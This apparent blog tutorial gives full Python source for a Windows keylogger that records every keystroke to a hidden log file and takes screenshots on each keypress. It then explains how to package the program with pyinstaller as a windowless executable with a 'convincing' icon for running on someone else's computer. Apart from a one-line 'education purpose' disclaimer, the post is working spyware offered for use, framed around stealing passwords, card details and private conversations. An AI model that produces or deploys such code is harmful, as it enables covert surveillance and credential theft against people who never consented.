How to Create Key-logger with Capture Screenshot using Python


Python Blog #Author: ManishHacker1

Hi guys, Today we will learn about how to create basic keylogger with capture screenshot using Python Programming.

What is Keylogger?

Keylogger is a simple software program or hardware device that is used to monitor or record our real time activity of a computer including every keystroke made by a computer user without any notice of the computer user. The keystrokes will be stored in a log file and saved in a hiddin location and send to the person who managed to infect your PC. Keylogger are designed to steal sensitive information such as username and password, credit card details, or your privet conversation.

Requirement to create a Keylogger with screenshot using Python

  • Python must be installed on the system
  • pyHook and pythoncom: pyHook library allows us to hook the keyboard and mouse.
  • win32gui: Is a window module
  • time: Import time
  • datetime: For date and time
  • os : Using for operation system operation
  • sys: Using for system funtion
  • autopy: Using for screenshot capture

Setup our Environment

  1. Create a directory 'log' in your hard drive where you want to store your log file.
  2. After that create a 'log' directory we will also create a output.txt file where all keystrokes will be save.

For Example: I did create a directory in c:\ drive, whose name is log.
After that i did create a output.txt file in 'log' directory where all keystrokes will be store.

After that download and install pyhook repository file from the link below. Download:Download pyhook Here

if you want to more about pyhook functionality. Please click below link. Source:pyhook Documentation

After that download and install win32api file from the link below. Source win32api:Download win32api

After that download autopy python package for screenshot. Source win32api:Download autopy

Now we have download all module for keylogger. In next step, we will do code for keylogger.

Step For Coding

  1. Import all module
  2. After that setting up the path for the log file, where these keystrokes will be store.
  3. Ater that define the OnKeyboardEvent funtion.

Full code:


import win32api
import win32console
import win32gui
import pythoncom,pyHook
import sys
import autopy

def OnKeyboardEvent(event):
    if event.Ascii==5:
        sys.exit()
    if event.Ascii !=0 or 8:
        f=open('c:\log\output1.txt','r+')
        buffer=f.read()
        f.close()
        f=open('c:\log\output1.txt','w')
        #the code below for a captur screenshot
        bitmap = autopy.bitmap.capture_screen()
        bitmap.save('C:\log\Keylog.png')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer+=keylogs
        f.write(buffer)
        f.close()
#the code below define the hook manager
hm=pyHook.HookManager()
#The code below listen to all keystrokes
hm.KeyDown=OnKeyboardEvent
#Hook the Keyboard
hm.HookKeyboard()
#For start new session
pythoncom.PumpMessages()

Save as "Anyname.py" and run.
The above keylogger code save all keystrokes your keyboard and take screenshot. But problem is that the above code only take the last screenshot capture and save.
If you want to take all screenshot capture then run the below code.


import os
import win32api
import win32console
import win32gui
import pythoncom,pyHook
import sys
import autopy
import time
import datetime



def OnKeyboardEvent(event):
    if event.Ascii==5:
        sys.exit()
    if event.Ascii !=0 or 8:
        f=open('c:\log\output1.txt','r+')
        buffer=f.read()
        f.close()
        f=open('c:\log\output1.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer+=keylogs
        f.write(buffer)
        f.close()
        date_time = time.time()
        img = autopy.bitmap.capture_screen()
        SAVE_PATH = "c:\log"
        LOGFILE_NAME = "%s.png" % date_time
        LOGFILE_PATH = os.path.join(SAVE_PATH,LOGFILE_NAME)
        img.save(LOGFILE_PATH)
      

hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Save Anyname.py and run.

Now the Deploy

Well, we have done all work for key-logger. But problem is that our client computer might not have all these modules and python installed, so we are going to use pyinstaller to convert it to an exe file so we can easily run it on their computer.

Now, We will be download pyinstaller using pip. Open your command prompt and type:


c:\Users\Administrator>cd\      and hit enter
c:\>cd Python27      and hit enter
c:\Python27>cd Scripts     and hit enter
c:\Python27\Scripts>pip install pyinstaller         and hit enter

After installation pyinstaller, Go to your program’s directory and run:

pyinstaller keylogger.py --onefile --noconsole --ico=anyimage.ico keylogger.py

  • --onefile -> to make it just a single executable
  • --noconsole -> to prevent a console window from popping up
  • --ico -> .ico image to make it more convincing

The above program is only for education purpose. Please do not illegal activity.

Thank You for reading this article.I hope you enjoyed it. If any query please comment. And also like my FB page givin below link and share it.

Kryptora Digital Security Provided Python Training and Ethical Hacking Training
  • Best Python Training in Noida
  • Best Python Training in Delhi
  • Best Python Training in Meerut
  • Best Python Training in India
  • Best Ethical Hacking Training in Noida
  • Best Ethical Hacking Training in Delhi
  • Best Ethical Hacking Training in Meerut
  • Best Ethical Hacking Training in India

Follow ManishHacker1

Comments

Popular posts from this blog

How to create Folder Lock with Password Protected using Python

TOP 10 ANIMATED BATCH FILE PROGRAM

How to Connect Window Machine to Linux Machine Using Python via SSH